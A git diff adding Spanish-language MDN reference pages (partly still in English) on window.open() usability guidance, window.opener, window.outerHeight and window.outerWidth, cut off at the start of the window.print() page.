+ <dd><a href="http://kmeleon.sourceforge.net/">K-meleon 1.1</a>, a Mozilla-based browser, gives complete control and power to the user regarding how links are opened. Only the user can set his advanced preferences to do that. Some advanced extensions also give Mozilla and Firefox a lot of power over how referenced resources are loaded.</dd>
+ <dd>In a few years, the <a href="http://www.w3.org/TR/2004/WD-css3-hyperlinks-20040224/#target0">target property of the CSS3 hyperlink module</a> may be implemented (if CSS3 Hyperlink module as it is right now is approved). And even if and when this happens, you can expect developers of browsers with tab-browsing to give the user entire veto power and full control over how links can open web pages. How to open a link should always be entirely under the control of the user.</dd>
+ <dt>How do I know whether a window I opened is still open?</dt>
+ <dd>You can test for the existence of the window object reference which is the returned value in case of success of the window.open() call and then verify that <em>w</em><var>indowObjectReference</var>.closed return value is <var>false</var>.</dd>
+ <dt>How can I tell when my window was blocked by a popup blocker?</dt>
+ <dd>With the built-in popup blockers of Mozilla/Firefox and Internet Explorer 6 SP2, you have to check the return value of <code>window.open()</code>: it will be <var>null</var> if the window wasn't allowed to open. However, for most other popup blockers, there is no reliable way.</dd>
+ <dt>What is the JavaScript relationship between the main window and the secondary window?</dt>
+ <dd>The <code>window.open()</code> method gives a main window a reference to a secondary window; the <a href="/en-US/docs/DOM/window.opener" title="DOM/window.opener">opener</a> property gives a secondary window a reference to its main window.</dd>
+ <dt>I can not access the properties of the new secondary window. I always get an error in the javascript console saying "Error<span class="nowiki">:</span> uncaught exception<span class="nowiki">:</span> Permission denied to get property &lt;property_name or method_name&gt;. Why is that?</dt>
+ <dd>It is because of the cross-domain script security restriction (also referred as the "Same Origin Policy"). A script loaded in a window (or frame) from a distinct origin (domain name) <strong>cannot get nor set</strong> properties of another window (or frame) or the properties of any of its HTML objects coming from another distinct origin (domain name). Therefore, before executing a script targeting a secondary window, the browser in the main window will verify that the secondary window has the same domain name.</dd>
+ <dd>More reading on the cross-domain script security restriction: <a href="http://www.mozilla.org/projects/security/components/same-origin.html" rel="freelink">http://www.mozilla.org/projects/secu...me-origin.html</a></dd>
+</dl>
+
+<h2 id="Usability_issues" name="Usability_issues">Problemas de usos</h2>
+
+<h3 id="Avoid_resorting_to_window.open.28.29" name="Avoid_resorting_to_window.open.28.29">Avoid resorting to <code>window.open()</code></h3>
+
+<p>Generally speaking, it is preferable to avoid resorting to window.open() for several reasons:</p>
+
+<ul>
+ <li>All Mozilla-based browsers offer <a href="https://developer.mozilla.org/en-US/docs/XUL/tabbrowser">tab-browsing</a> and this is the preferred mode of <a href="https://developer.mozilla.org/en-US/Add-ons/Code_snippets/Tabbed_browser?redirectlocale=en-US&amp;redirectslug=Code_snippets%2FTabbed_browser">opening referenced resources</a> (<a href="https://developer.mozilla.org/en-US/Add-ons/SDK/High-Level_APIs/tabs">SDK</a>)... not just in Mozilla-based browsers but in all other browsers offering tab-browsing. In other words, tab-capable browser users overall prefer opening new tabs than opening new windows in a majority of webpage situations. Tab-capable browsers have rapidly gained support and enthusiasm on internet in the last 3 years; this trend will not revert back. MSIE 7, released in October 2006, has full support for tab browsing.</li>
+ <li>There are now <a href="https://addons.mozilla.org/seamonkey/browse/type:1/cat:48/sort:updated">several Mozilla extensions</a> (like Multizilla) and <a href="https://addons.update.mozilla.org/firefox/browse/type:1/cat:14/sort:updated">Firefox extensions</a> (like <a href="https://addons.mozilla.org/firefox/addon/158">Tabbrowser preferences</a>), features, settings and advanced preferences based on tab-browsing and based on converting window.open() calls into opening tabs, based on neutralizing window.open() calls, in particular in neutralizing unrequested openings of new windows (often referred as blocking unrequested popups or as blocking script-initiated windows opening automatically). Such features found in extensions include opening a link in a new window or not, in the same window, in a new tab or not, in "background" or not. Coding carelessly to open new windows can no longer be assured of success, can not succeed by force and, if it does, it will annoy a majority of users.</li>
+ <li>New windows can have menubar missing, scrollbars missing, status bar missing, window resizability disabled, etc.; new tabs can not be missing those functionalities or toolbars (or at least, the toolbars which are present by default). Therefore, tab-browsing is preferred by a lot of users because the normal user-interface of the browser window they prefer is kept intact, remains stable.</li>
+ <li>Opening new windows, even with reduced features, uses considerably a lot of the user's system resources (cpu, RAM) and involves considerably a lot of coding in the source code (security management, memory management, various code branchings sometimes quite complex, window frame/chrome/toolbars building, window positioning and sizing, etc.). Opening new tabs is less demanding on the user's system resources (and faster to achieve) than opening new windows.</li>
+</ul>
+
+<h3 id="Offer_to_open_a_link_in_a_new_window.2C_using_these_guidelines" name="Offer_to_open_a_link_in_a_new_window.2C_using_these_guidelines">Offer to open a link in a new window, using these guidelines</h3>
+
+<p>If you want to offer to open a link in a new window, then follow tested and recommendable usability and accessibility guidelines:</p>
+
+<h4 id="Never_use_this_form_of_code_for_links.3Ca_href.3D.22javascriptwindow.open.28....29.22_....3E" name="Never_use_this_form_of_code_for_links:.3Ca_href.3D.22javascript:window.open.28....29.22_....3E"><em>Never</em> use this form of code for links: <code>&lt;a href="javascript:window.open(...)" ...&gt;</code></h4>
+
+<p>"javascript:" links break accessibility and usability of webpages in every browser.</p>
+
+<ul>
+ <li>"javascript:" pseudo-links become dysfunctional when javascript support is disabled or inexistent. Several corporations allow their employees to surf on the web but under strict security policies: no javascript enabled, no java, no activeX, no Flash. For various reasons (security, public access, text browsers, etc..), about 5% to 10% of users on the web surf with javascript disabled.</li>
+ <li>"javascript:" links will interfere with advanced features in tab-capable browsers: eg. middle-click on links, Ctrl+click on links, tab-browsing features in extensions, etc.</li>
+ <li>"javascript:" links will interfere with the process of indexing webpages by search engines.</li>
+ <li>"javascript:" links interfere with assistive technologies (e.g. voice browsers) and several web-aware applications (e.g. <abbr title="Personal Digital Assistant">PDAs</abbr> and mobile browsers).</li>
+ <li>"javascript:" links also interfere with "mouse gestures" features implemented in browsers.</li>
+ <li>Protocol scheme "javascript:" will be reported as an error by link validators and link checkers.</li>
+</ul>
+
+<p><strong>Further reading:</strong></p>
+
+<ul>
+ <li><a href="http://www.useit.com/alertbox/20021223.html">Top Ten Web-Design Mistakes of 2002</a>, 6. JavaScript in Links, Jakob Nielsen, December 2002</li>
+ <li><a href="http://www.evolt.org/article/Links_and_JavaScript_Living_Together_in_Harmony/17/20938/">Links &amp; JavaScript Living Together in Harmony</a>, Jeff Howden, February 2002</li>
+ <li><a href="http://jibbering.com/faq/#FAQ4_24">comp.lang.javascript newsgroup discussion FAQ on "javascript:" links</a></li>
+</ul>
+
+<h4 id="Never_use_.3Ca_href.3D.22.23.22_onclick.3D.22window.open.28....29.3B.22.3E" name="Never_use_.3Ca_href.3D.22.23.22_onclick.3D.22window.open.28....29.3B.22.3E">Never use <code>&lt;a href="#" onclick="window.open(...);"&gt;</code></h4>
+
+<p>Such pseudo-link also breaks accessibility of links. <strong>Always use a real URL for the href attribute value</strong> so that if javascript support is disabled or inexistent or if the user agent does not support opening of secondary window (like MS-Web TV, text browsers, etc), then such user agents will still be able to load the referenced resource according to its default mode of opening/handling a referenced resource. This form of code also interferes with advanced features in tab-capable browsers: eg. middle-click on links, Ctrl+click on links, Ctrl+Enter on links, "mouse gestures" features.</p>
+
+<h4 id="Always_identify_links_which_will_create_.28or_will_re-use.29_a_new.2C_secondary_window" name="Always_identify_links_which_will_create_.28or_will_re-use.29_a_new.2C_secondary_window">Always identify links which will create (or will re-use) a new, secondary window</h4>
+
+<p>Identify links that will open new windows in a way that helps navigation for users by coding the title attribute of the link, by adding an icon at the end of the link or by coding the cursor accordingly.</p>
+
+<p>The purpose is to warn users in advance of context changes to minimize confusion on the user's part: changing the current window or popping up new windows can be very disorienting to users (Back toolbar button is disabled).</p>
+
+<blockquote>
+<p>"Users often don't notice that a new window has opened, especially if they are using a small monitor where the windows are maximized to fill up the screen. So a user who tries to return to the origin will be confused by a grayed out <em>Back</em> button."<br>
+ quote from <a href="http://www.useit.com/alertbox/990530.html">The Top Ten <em>New</em> Mistakes of Web Design</a>: 2. Opening New Browser Windows, Jakob Nielsen, May 1999</p>
+</blockquote>
+
+<p>When extreme changes in context are explicitly identified before they occur, then the users can determine if they wish to proceed or so they can be prepared for the change: not only they will not be confused or feel disoriented, but more experienced users can better decide how to open such links (in a new window or not, in the same window, in a new tab or not, in "background" or not).</p>
+
+<p><strong>References</strong></p>
+
+<ul>
+ <li>"If your link spawns a new window, or causes another windows to 'pop up' on your display, or move the focus of the system to a new FRAME or Window, then the nice thing to do is to tell the user that something like that will happen." <a href="http://www.w3.org/WAI/wcag-curric/sam77-0.htm">World Wide Web Consortium Accessibility Initiative regarding popups</a></li>
+ <li>"Use link titles to provide users with a preview of where each link will take them, before they have clicked on it." <a href="http://www.useit.com/alertbox/991003.html">Ten Good Deeds in Web Design</a>, Jakob Nielsen, October 1999</li>
+ <li><a href="http://www.useit.com/alertbox/980111.html">Using Link Titles to Help Users Predict Where They Are Going</a>, Jakob Nielsen, January 1998</li>
+</ul>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header" colspan="4">Example "New Window" Icons &amp; Cursors</td>
+  </tr>
+  <tr>
+   <td style="width: 25%;"><img alt="New window icon from yahoo.com" src="/@api/deki/files/782/=NewwindowYahoo.png"></td>
+   <td style="width: 25%;"><img alt="New window icon from microsoft.com" src="/@api/deki/files/780/=NewwinMSIE.gif"></td>
+   <td style="width: 25%;"><img alt="New window icon from webaim.org" src="/@api/deki/files/296/=Popup_requested_new_window.gif"></td>
+   <td style="width: 25%;"><img alt="New window icon from sun.com" src="/@api/deki/files/811/=PopupImageSun.gif"></td>
+  </tr>
+  <tr>
+   <td><img alt="New window icon from bbc.co.uk" src="/@api/deki/files/795/=Opennews_rb.gif"></td>
+   <td><img alt="New window icon from Accessible Internet Solutions" src="/@api/deki/files/15/=AIS_NewWindowIcon.png"></td>
+   <td><img alt="New window icon from accessify.com" src="/@api/deki/files/809/=Pop-up-launcher.gif"></td>
+   <td><img alt="New window icon from webstyleguide.com" src="/@api/deki/files/417/=Webstyleguide_com_newwind.gif"></td>
+  </tr>
+  <tr>
+   <td><img alt="New window icon from an unknown source" src="/@api/deki/files/810/=Popicon_1.gif"></td>
+   <td><img alt="New window icon from an unknown source" src="/@api/deki/files/779/=New.gif"></td>
+   <td><img alt="New window icon from an unknown source" src="/@api/deki/files/419/=WillCreateOrRecycleNewWindow.gif"></td>
+   <td><img alt="New window icon from gtalbot.org" src="/@api/deki/files/287/=OpenRequestedPopup.png"></td>
+  </tr>
+  <tr>
+   <td colspan="2"><img alt="New window cursor from draig.de" src="/@api/deki/files/169/=Cursor_LinkNewWindowTargetBlank.png"></td>
+   <td colspan="2"><img alt="New window cursor from mithgol.ru" src="/@api/deki/files/170/=Cursor_newwindowSergeySokoloff.png"></td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Always_use_the_target_attribute" name="Always_use_the_target_attribute">Always use the target attribute</h4>
+
+<p>If javascript support is disabled or non-existent, then the user agent will create a secondary window accordingly or will render the referenced resource according to its handling of the target attribute: e.g. some user agents which can not create new windows, like MS Web TV, will fetch the referenced resource and append it at the end of the current document. The goal and the idea is to try to provide - <strong>not impose</strong> - to the user a way to open the referenced resource, a mode of opening the link. Your code should not interfere with the features of the browser at the disposal of the user and your code should not interfere with the final decision resting with the user.</p>
+
+<h4 id="Do_not_use_target.3D.22_blank.22" name="Do_not_use_target.3D.22_blank.22">Do not use <code>target="_blank"</code></h4>
+
+<p>Always provide a meaningful name to your target attribute and try to reuse such target attribute in your page so that a click on another link may load the referenced resource in an already created and rendered window (therefore speeding up the process for the user) and therefore justifying the reason (and user system resources, time spent) for creating a secondary window in the first place. Using a single target attribute value and reusing it in links is much more user resources friendly as it only creates one single secondary window which is recycled. On the other hand, using "_blank" as the target attribute value will create several new and unnamed windows on the user's desktop which can not be recycled, reused. In any case, if your code is well done, it should not interfere with the user's final choice but rather merely offer him more choices, more ways to open links and more power to the tool he's using (a browser).</p>
+
+<h2 id="Glossary" name="Glossary">Glosario</h2>
+
+<dl>
+ <dt>Opener window, parent window, main window, first window</dt>
+ <dd>Terms often used to describe or to identify the same window. It is the window from which a new window will be created. It is the window on which the user clicked a link which lead to the creation of another, new window.</dd>
+ <dt>Sub-window, child window, secondary window, second window</dt>
+ <dd>Terms often used to describe or to identify the same window. It is the new window which was created.</dd>
+ <dt>Unrequested popup windows</dt>
+ <dd>Script-initiated windows opening automatically without the user's consent.</dd>
+</dl>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'browsers.html#dom-open', 'Window.open()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSSOM View', '#the-features-argument-to-the-open()-method', 'The features argument to the open() method') }}</td>
+   <td>{{ Spec2('CSSOM View') }}</td>
+   <td>Defines the effect of the <code>features</code> argument</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<h3 id="Note_on_precedence" name="Note_on_precedence">Nota sobre la precedencia</h3>
+
+<p>In cases where <code>left</code> and <code>screenX</code> (and/or <code>top</code> and <code>screenY</code>) have conflicting values, then <code>left</code> and <code>top</code> have precedence over <code>screenX</code> and <code>screenY</code> respectively. If <code>left</code> and <code>screenX</code> (and/or <code>top</code> and <code>screenY</code>) are defined in the <var>features</var> list, then <code>left</code> (and/or <code>top</code>) will be honored and rendered. In the following example the new window will be positioned at 100 pixels from the left side of the work area for applications of the user's operating system, not at 200 pixels.</p>
+
+<pre class="brush:js">windowObjectReference = window.open(
+  "http://news.bbc.co.uk/",
+  "BBCWorldNewsWindowName",
+  "left=100,screenX=200,resizable,scrollbars,status"
+);</pre>
+
+<p>If left is set but top has no value and screenY has a value, then left and screenY will be the coordinate positioning values of the secondary window.</p>
+
+<p>outerWidth has precedence over width and width has precedence over innerWidth. outerHeight has precedence over height and height has precedence over innerHeight. In the following example, Mozilla-browsers will create a new window with an outerWidth of 600 pixels wide and will ignore the request of a width of 500 pixels and will also ignore the request of an innerWidth of 400 pixels.</p>
+
+<pre class="brush:js">windowObjectReference = window.open(
+  "http://www.wwf.org/",
+  "WWildlifeOrgWindowName",
+  "outerWidth=600,width=500,innerWidth=400,resizable,scrollbars,status"
+);</pre>
+
+<h3 id="Note_on_position_and_dimension_error_correction" name="Note_on_position_and_dimension_error_correction">Note on position and dimension error correction</h3>
+
+<p>Requested position and requested dimension values in the <var>features</var> list will not be honored and <strong>will be corrected</strong> if any of such requested value does not allow the entire browser window to be rendered within the work area for applications of the user's operating system. <strong>No part of the new window can be initially positioned offscreen. This is by default in all Mozilla-based browser releases.</strong></p>
+
+<p><a href="http://msdn2.microsoft.com/en-us/library/ms997645.aspx#xpsp_topic5">MSIE 6 SP2 has a similar error correction mechanism</a> but it is not activated by default in all security levels: a security setting can disable such error correction mechanism.</p>
+
+<h3 id="Note_on_scrollbars" name="Note_on_scrollbars">Note on scrollbars</h3>
+
+<p>When content overflows window viewport dimensions, then scrollbar(s) (or some scrolling mechanism) are necessary to ensure that content can be accessed by users. Content can overflow window dimensions for several reasons which are outside the control of web authors:</p>
+
+<ul>
+ <li>user resizes the window</li>
+ <li>user increases the text size of fonts via View/Text Zoom (%) menuitem in Mozilla or View/Text Size/Increase or Decrease in Firefox</li>
+ <li>user sets a minimum font size for pages which is bigger than the font-size the web author requested. People over 40 years old or with particular viewing habit or reading preference often set a minimal font size in Mozilla-based browsers.</li>
+ <li>web author is not aware of default margin (and/or border and/or padding) values applying to root element or body node in various browsers and various browser versions</li>
+ <li>user uses an user stylesheet (<a href="http://www.mozilla.org/support/firefox/edit#content">userContent.css in Mozilla-based browsers</a>) for his viewing habits which increases document box dimensions (margin, padding, default font size)</li>
+ <li>user can customize individually the size (height or width) of most toolbars via operating system settings. E.g. window resizing borders, height of browser titlebar, menubar, scrollbars, font size are entirely customizable by the user in Windows XP operating system. These toolbars dimensions can also be set via browser themes and skins or by operating system themes</li>
+ <li>web author is unaware that the user default browser window has custom toolbar(s) for specific purpose(s); e.g.: prefs bar, web developer bar, accessibility toolbar, popup blocking and search toolbar, multi-feature toolbar, etc.</li>
+ <li>user uses assistive technologies or add-on features which modify the operating system's work area for applications: e.g. MS-Magnifier</li>
+ <li>user repositions and/or resizes directly or indirectly the operating system's work area for applications: e.g. user resizes the Windows taskbar, user positions the Windows taskbar on the left side (arabic language based) or right side (Hebrew language), user has a permanent MS-Office quick launch toolbar, etc.</li>
+ <li>some operating system (Mac OS X) forces presence of toolbars which can then fool the web author's anticipations, calculations of the effective dimensions of the browser window</li>
+</ul>
+
+<h3 id="Note_on_status_bar" name="Note_on_status_bar">Note on status bar</h3>
+
+<p>You should assume that a large majority of users' browsers will have the status bar or that a large majority of users will want to force the status bar presence: best is to always set this feature to yes. Also, if you specifically request to remove the status bar, then Firefox users will not be able to view the Site Navigation toolbar if it is installed. In Mozilla and in Firefox, all windows with a status bar have a window resizing grippy at its right-most side. The status bar also provides info on http connection, hypertext resource location, download progress bar, encryption/secure connection info with <abbr title="Secure Socket Layer">SSL</abbr> connection (displaying a yellow padlock icon), internet/security zone icons, privacy policy/cookie icon, etc. <strong>Removing the status bar usually removes a lot of functionality, features and information considered useful (and sometimes vital) by the users.</strong></p>
+
+<h3 id="Note_on_security_issues_of_the_status_bar_presence" name="Note_on_security_issues_of_the_status_bar_presence">Note on security issues of the status bar presence</h3>
+
+<p>In MSIE 6 for XP SP2: For windows opened using <code>window.open()</code>:</p>
+
+<blockquote>
+<p>"For windows opened using window.open():<br>
+ Expect the status bar to be present, and code for it. <strong>The status bar will be on by default</strong> and is 20-25 pixels in height. (...)"<br>
+ quote from <a href="http://msdn2.microsoft.com/en-us/library/ms997645.aspx#xpsp_topic5">Fine-Tune Your Web Site for Windows XP Service Pack 2, Browser Window Restrictions in XP SP2</a></p>
+</blockquote>
+
+<blockquote>
+<p>"(...) windows that are created using the window.open() method can be called by scripts and used to spoof a user interface or desktop or to hide malicious information or activity by sizing the window so that the status bar is not visible.<br>
+ Internet Explorer windows provide visible security information to the user to help them ascertain the source of the Web page and the security of the communication with that page. When these elements are not in view, the user might think they are on a more trusted page or interacting with a system process when they are actually interacting with a malicious host. (...)<br>
+ <strong>Script-initiated windows will be displayed fully, with the Internet Explorer title bar and status bar.</strong> (...)<br>
+ Script management of Internet Explorer status bar<br>
+ Detailed description<br>
+ <strong>Internet Explorer has been modified to not turn off the status bar for any windows. The status bar is always visible for all Internet Explorer windows.</strong> (...) Without this change, windows that are created using the window.open() method can be called by scripts and spoof a user interface or desktop or hide malicious information or activity by hiding important elements of the user interface from the user.<br>
+ The status bar is a security feature of Internet Explorer windows that provides Internet Explorer security zone information to the user. This zone cannot be spoofed (...)"<br>
+ quote from <a href="http://technet.microsoft.com/en-us/library/bb457150.aspx#ECAA">Changes to Functionality in Microsoft Windows XP Service Pack 2, Internet Explorer Window Restrictions</a></p>
+</blockquote>
+
+<h3 id="Note_on_fullscreen" name="Note_on_fullscreen">Note on fullscreen</h3>
+
+<p>In MSIE 6 for XP SP2:</p>
+
+<ul>
+ <li>"window.open() with fullscreen=yes will now result in a maximized window, not a kiosk mode window."</li>
+ <li>"The definition of the fullscreen=yes specification is changed to mean 'show the window as maximized,' which will keep the title bar, address bar, and status bar visible."</li>
+</ul>
+
+<p><em>References:</em></p>
+
+<ul>
+ <li><a href="http://msdn2.microsoft.com/en-us/library/ms997645.aspx#xpsp_topic5">Fine-Tune Your Web Site for Windows XP Service Pack 2</a></li>
+ <li><a href="http://technet.microsoft.com/en-us/library/bb457150.aspx#ECAA">Changes to Functionality in Microsoft Windows XP Service Pack 2, Script sizing of Internet Explorer windows</a></li>
+</ul>
+
+<h3 id="Note_on_outerHeight_versus_height" name="Note_on_outerHeight_versus_height">Note on outerHeight versus height</h3>
+
+<p><img alt="innerHeight vs outerHeight illustration" src="/@api/deki/files/212/=FirefoxInnerVsOuterHeight.png"></p>
+
+<h3 id="Note_on_refreshing_vs._opening_a_new_windowtab">Note on refreshing vs. opening a new window/tab</h3>
+
+<p>If the <code>strWindowName</code> parameter is omitted, a new window or tab is opened. If a window with the same name already exists, the existing window is refreshed.</p>
+
+<pre class="script-jem;brush:js">//Always opens a new window/tab
+window.open("map.php");
+
+//Refreshes an existing window/tab that was opened with the same name, if one exists
+window.open("map.php", "BiggerMap");</pre>
+
+<h2 id="Tutorials" name="Tutorials">Tutoriales</h2>
+
+<ul>
+ <li><a href="http://www.infimum.dk/HTML/JSwindows.html">JavaScript windows (tutorial)</a> by Lasse Reichstein Nielsen</li>
+ <li><a href="http://accessify.com/features/tutorials/the-perfect-popup/" title="http://accessify.com/features/tutorials/the-perfect-popup/">The perfect pop-up (tutorial)</a> by Ian Lloyd</li>
+ <li><a href="http://www.gtalbot.org/FirefoxSection/Popup/PopupAndFirefox.html">Popup windows and Firefox (interactive demos)</a> by Gérard Talbot</li>
+</ul>
+
+<h2 id="References" name="References">Referencias</h2>
+
+<ul>
+ <li><a href="http://www.cs.tut.fi/~jkorpela/www/links.html">Links Want To Be Links</a> by Jukka K. Korpela</li>
+ <li><a href="http://www.evolt.org/article/Links_and_JavaScript_Living_Together_in_Harmony/17/20938/">Links &amp; JavaScript Living Together in Harmony</a> by Jeff Howden</li>
+</ul>
diff --git a/files/es/web/api/window/opener/index.html b/files/es/web/api/window/opener/index.html
new file mode 100644
index 0000000000..531eb6d2e4
--- /dev/null
+++ b/files/es/web/api/window/opener/index.html
@@ -0,0 +1,28 @@
+---
+title: Window.opener
+slug: Web/API/Window/opener
+translation_of: Web/API/Window/opener
+---
+<div>{{APIRef}}</div>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>Devuelve una referencia de, la ventana que abrió la ventana actuál.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>objRef</var> = window.opener;
+</pre>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="brush:js">if (window.opener != indexWin) {
+  referToTop(window.opener);
+}
+</pre>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<p>Cuando una ventana es abierta desde otra utilizando "Window.open()", esta, mantiene una referencia a la primera mediante "window.opener".  Si la ventana actuál no fué abierta, el metodo retorna NULL.</p>
+
+<p>El navegador de Windows Phone no soporta window.opener. Tampoco es soportado en Internet Explorer si la ventana nueva se encuentra en una zona de seguridad distinta.</p>
diff --git a/files/es/web/api/window/outerheight/index.html b/files/es/web/api/window/outerheight/index.html
new file mode 100644
index 0000000000..cb77c574f4
--- /dev/null
+++ b/files/es/web/api/window/outerheight/index.html
@@ -0,0 +1,114 @@
+---
+title: Window.outerHeight
+slug: Web/API/Window/outerHeight
+tags:
+  - API
+  - Propiedad
+  - Referencia
+translation_of: Web/API/Window/outerHeight
+---
+<div>{{APIRef}}</div>
+
+<h2 id="Summary" name="Summary">Sumario</h2>
+
+<p><code>Window.outerHeight </code>obtiene la altura en pixeles de toda la ventana del navegador. Representa el alto de toda la ventana, incluyendo la barra de notificaciones (si se encuentra) y los bordes.</p>
+
+<p>Esta propiedad es de sólo lectura, no tiene valor por defecto</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>outWindowHeight</var> = window.outerHeight;
+</pre>
+
+<p>Al obtener, <code>outWindowHeight</code> contiene el alto de la ventana.</p>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<p>Para cambiar el tamaño de una ventana, ver {{domxref("window.resizeBy()")}} y {{domxref("window.resizeTo()")}}.</p>
+
+<p>Para obtener la altura interna de una ventana, por ejemplo, el alto de una página siendo desplegada, ver {{domxref("window.innerHeight")}}.</p>
+
+<h3 id="Graphical_example" name="Graphical_example">Ejemplo gráfico</h3>
+
+<p>La siguiente figura muestra la diferencia entre <code>innerHeight </code>y <code>outerHeight</code>.</p>
+
+<p><img alt="innerHeight vs outerHeight illustration" src="/@api/deki/files/213/=FirefoxInnerVsOuterHeight2.png"></p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad del navegador</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>9</td>
+   <td>9</td>
+   <td>3</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>9</td>
+   <td>9</td>
+   <td>3</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Specification" name="Specification">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSSOM View', '#dom-window-outerheight', 'Window.outerHeight') }}</td>
+   <td>{{ Spec2('CSSOM View') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("window.innerHeight")}}</li>
+ <li>{{domxref("window.innerWidth")}}</li>
+ <li>{{domxref("window.outerWidth")}}</li>
+ <li>{{domxref("window.resizeBy()")}}</li>
+ <li>{{domxref("window.resizeTo()")}}</li>
+</ul>
diff --git a/files/es/web/api/window/outerwidth/index.html b/files/es/web/api/window/outerwidth/index.html
new file mode 100644
index 0000000000..b0b91a9beb
--- /dev/null
+++ b/files/es/web/api/window/outerwidth/index.html
@@ -0,0 +1,105 @@
+---
+title: Window.outerWidth
+slug: Web/API/Window/outerWidth
+translation_of: Web/API/Window/outerWidth
+---
+<div>{{APIRef}}</div>
+
+<h2 id="Summary" name="Summary">Sumario</h2>
+
+<p><code>Window.outerWidth</code> obtiene el ancho exterior del navegador. Representa el ancho total de la ventana incluyendo las barras laterales (si es expandida), interfaz grafíca y los de elementos para redimencionado de bordes.</p>
+
+<p>Esta propiedad es de sólo lectura; no tiene valores por default.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>outWindowWidth</var> = window.outerWidth;
+</pre>
+
+<p>Lo que retorna <code>outWindowWidth</code> es el ancho exterior del navegador.</p>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<p>Para cambiar el tamaño de la ventana, ver {{domxref("window.resizeBy()")}} y {{domxref("window.resizeTo()")}}.</p>
+
+<p>Para obtener el ancho exterior de la ventana, i.e. el ancho de la pagina desplegada, ver {{domxref("window.innerWidth")}}.</p>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>9</td>
+   <td>9</td>
+   <td>3</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>9</td>
+   <td>9</td>
+   <td>3</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Specification" name="Specification">Specificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSSOM View', '#dom-window-outerwidth', 'Window.outerWidth') }}</td>
+   <td>{{ Spec2('CSSOM View') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("window.outerHeight")}}, {{domxref("window.innerHeight")}}, {{domxref("window.innerWidth")}}</li>
+ <li>{{domxref("window.resizeBy()")}}, {{domxref("window.resizeTo()")}}</li>
+</ul>
diff --git a/files/es/web/api/window/print/index.html b/files/es/web/api/window/print/index.html
new file mode 100644
index 0000000000..7ab8bdb63f
--- /dev/null
+++ b/files/es/web/api/window/print/index.html
@@ -0,0 +1,58 @@
+---
+title: Window.print()
+slug: Web/API/Window/print
+tags:
+  - API
+  - Compatibilidad
+  - Compatibilidad en móviles
+  - DOM
+  - Referencia
+  - Window
+  - metodo
+translation_of: Web/API/Window/print
+---
+<p>{{ ApiRef() }}</p>
+
